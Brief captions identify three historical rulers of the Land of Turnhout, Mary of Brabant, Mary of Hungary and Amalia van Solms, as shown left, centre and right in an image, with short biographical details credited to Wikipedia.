(center) Maria van Brabant / Mary of Brabant, Duchess of Gelre (_PHONE_) was granted the Land of Turnhout, which also included neighboring villages (Wikipedia).
(right) Mary of Hungary (Brussel 1505 - Cigales 1558), Governor of the Habsburg Netherlands, ruled between 1545 and 1558 the Land of Turnhout and restored the Castle of the Dukes of Brabant (Wikipedia).
(left) Amalia van Solms (Braunfels 1602 - Den Haag 1675) is the third Lady of Turnhout depicted, she ruled since 1639 (Wikipedia).